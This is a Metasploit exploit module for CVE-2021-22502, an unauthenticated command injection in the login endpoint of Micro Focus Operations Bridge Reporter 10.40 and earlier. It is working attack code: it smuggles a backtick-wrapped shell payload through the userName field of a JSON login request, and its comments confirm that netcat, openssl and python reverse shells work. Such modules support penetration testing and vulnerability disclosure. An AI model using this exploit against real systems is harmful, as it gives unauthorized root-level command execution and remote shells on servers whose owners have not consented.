##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Micro Focus Operations Bridge Reporter Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits a command injection vulnerability on *login* (yes, you read that right)
          that affects Micro Focus Operations Bridge Reporter on Linux, versions 10.40 and below.
          It's a straight up command injection, with little escaping required and it works before
          authentication.
          This module has been tested on the Linux 10.40 version. Older versions might be affected,
          check the advisory for details.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-22502'],
          ['ZDI', '21-153'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
          ['URL', 'https://softwaresupport.softwaregrp.com/doc/KM03775947']
        ],
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' => {
          'Space' => 1024, # This should be a safe value, it might take much more
          'DisableNops' => true,
          # avoid null char and the injection char (`)
          'BadChars' => "\x00\x60",
          'Compat' =>
              {
                'PayloadType' => 'cmd',
                # all of these (and more) should exist in a standard RHEL / SuSE
                # ... which are the only two distros supported by Micro Focus OBR
                # (telnet doesn't seem to work though)
                #
                # all reverse shells were tested and work flawlessly
                'RequiredCmd' => 'netcat openssl generic python'
              }
        },
        'Targets' => [
          [ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2021-02-09'
      )
    )

    register_options(
      [
        # normal (no SSL) port is 21411
        Opt::RPORT(21412),
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
        OptString.new('TARGETURI', [true, 'Application path', '/'])
      ]
    )
  end

  def check
    res = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => rand_text_alpha(10..64)
    }, 10)

    if res && res.code == 400 && res.body.include?('Unrecognized token')
      # should return a stack trace like
      # Unrecognized token '#{data}': was expecting ('true', 'false' or 'null')
      #  at [Source: org.glassfish.jersey.message.internal.ReaderInterceptorExecutor$UnC (...)
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # if there are any 0x22 (") chars in the encoded payload, escape them with a backslash
    # we have to do this manually, the encoder is not smart enough to do it, and it will
    # fail if we put 0x22 as a bad char above
    payload_enc = payload.encoded.gsub('"', '\\"')

    # we use 0x60 (`) for injection, but there are lots of other possibilities
    data = "{\"userName\":\"#{rand_text_alpha(1..16)}`#{payload_enc}`\",\"credential\":\"#{rand_text_alpha(8..20)}\"}"

    send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], '/AdminService/urest/v1/LogonResource'),
      'headers' => { 'Content-Type' => 'application/json' },
      'data' => data
    }, 0)

    # it's tricky to check the return value of the request here
    # - it might hang (no return) and give us a shell
    # - it might return 400 or 500 and give us a shell
    # - it might return 400 or 500 and give us nothing
    # so ignore it altogether and hope for the best
    print_status("#{peer} - Payload sent, now wait for Shelly, if she doesn't arrive try again!")
  end
end
